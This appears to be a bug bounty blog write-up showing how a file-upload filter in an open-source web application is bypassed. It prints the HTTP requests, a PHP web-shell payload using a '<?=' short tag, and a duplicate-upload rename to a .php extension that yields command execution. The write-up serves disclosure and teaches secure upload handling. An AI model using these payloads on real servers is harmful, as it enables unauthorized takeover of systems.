Today, I am going to talk about a vulnerability that I recently found in a bug bounty program. The program was an open-source application that you can download and run locally. My approach for this test was a crystal-box application test, where the application is tested with the help of the source code.
While going through the application, I noticed that it allowed users to upload files as part of one of its functionalities. The developers did a great job checking for file extensions and the content inside the files. For example, the following exchange took place while trying to insert PHP code inside a PNG file:
POST /test/admins?/upload HTTP/1.1
Host: 127.0.0.1
[...]
Content-Disposition: form-data; name="file"; filename="test.png"
Content-Type: image/png
PNG
[...]
<?php system($_REQUEST[cmd]); ?>
The server responded with:
HTTP/1.1 200 OK
[...]
{"status":"error","error":"<p>The file could not be written to disk.<\/p>"}
Additionally, the following exchange took place while trying to upload a PHP file:
POST /test/admins?/upload HTTP/1.1
Host: 127.0.0.1
[...]
-----------------------------317401627318622250913731243370
Content-Disposition: form-data; name="file"; filename="admin.php"
Content-Type: application/x-php
<?php
The server responded with:
HTTP/1.1 200 OK
[...]
{"status":"error","error":"<p>File not allowed.<\/p>"}
After spending some time going through the source code, I noticed the following snippets that perform the checks for the uploaded files:
if ($this->is_image) {
if ($this->do_embedded_php_check() === false) {
$this->set_error('upload_unable_to_write_file');
return false;
}
}
[....]
public function do_embedded_php_check()
{
$file = $this->file_temp;
if (filesize($file) == 0) {
return false;
}
$this->increase_memory_limit(filesize($file));
if (($data = @file_get_contents($file)) === false) {
return false;
}
// We can't simply check for `<?` because that's valid XML and is
// allowed in files.
return (stripos($data, '<?php') === false);
}
As shown in the code, the application ensures an image doesn't have PHP embedded in it by simply checking for <?php
, which could be easily bypassed using something like <?= PHP Code here ?>
.
Knowing this, the next step was to find a way to bypass the extension check. This could be achieved by uploading a file twice and renaming the new one with the desired extension.
The following attempt was made to upload a valid PNG file. The following request was sent:
POST /test/admins?/upload HTTP/1.1
Host: 127.0.0.1
[...]
Content-Disposition: form-data; name="file"; filename="image.png"
Content-Type: image/png
PNG
The server responded with:
HTTP/1.1 200 OK
Date: Wed, 17 Jul 2024 21:45:50 GMT
[...]
{"status":"success","title":"images.png","file_id":18,"file_name":"images.png","isImage":true,"isSVG":false,"thumb_path":"http:\/\/127.0.0.1\/test\/_thumbs\/image.png","upload_location_id":4,"file_hw_original":"225 225"}
Then, another attempt was made to upload the exact file and embed our PHP code inside it. The following request was sent:
POST /test/admins?/upload HTTP/1.1
Host: 127.0.0.1
[...]
Content-Disposition: form-data; name="file"; filename="image.png"
Content-Type: image/png
PNG
[...]
<?= system($_REQUEST['cmd']); ?>
The server responded with:
HTTP/1.1 200 OK
[...]
{"status":"duplicate","duplicate":true,"fileId":88,"originalFileName":"image.png"}
The application gave the user the opportunity to fix that by either appending the file with a new name or renaming it. So, the next attempt was to rename the file and change the extension to PHP. The following request was sent:
POST /test/admins?/finish-upload/88 HTTP/1.1
Host: 127.0.0.1
[...]
csrf_token=&original_name=image.png&upload_options=rename&rename_custom=c.php&submit=finish
The server responded with:
HTTP/1.1 200 OK
[...]
{"file_id":88,"model_type":"File","site_id":1,"title":"c.php","upload_location_id":6,"directory_id":0,"mime_type":"image\/png","file_type":"img","file_name":"c.php","file_size":7107,"description":null,"credit":null,"location":null,"uploaded_by_member_id":1,"upload_date":1721256267,"modified_by_member_id":1,"modified_date":1721256290,"file_hw_original":"225 225","total_records":0,"path":"http:\/\/127.0.0.1\/test\/c.php","thumb_path":"http:\/\/127.0.0.1\/test\/_thumbs\/c.php?v=1721256290","isImage":true,"isSVG":false}
The server accepted the new value and the file was uploaded. After accessing the file, the following was observed: the user could execute commands on the server, gaining unauthorized access and control over the system.
The blog highlights the importance of thoroughly checking and sanitizing file uploads. Simple checks can be bypassed, leading to serious security issues. Developers should use multiple layers of security to protect against such exploits.
Building a system, website, API, or application? Handling sensitive information or concerned about security? Whether you’re planning a launch or already live without considering security, it's crucial to prioritize protection. Worried about your personal security? Reach out at security@wizoutsugar.nl, and let's safeguard your business together!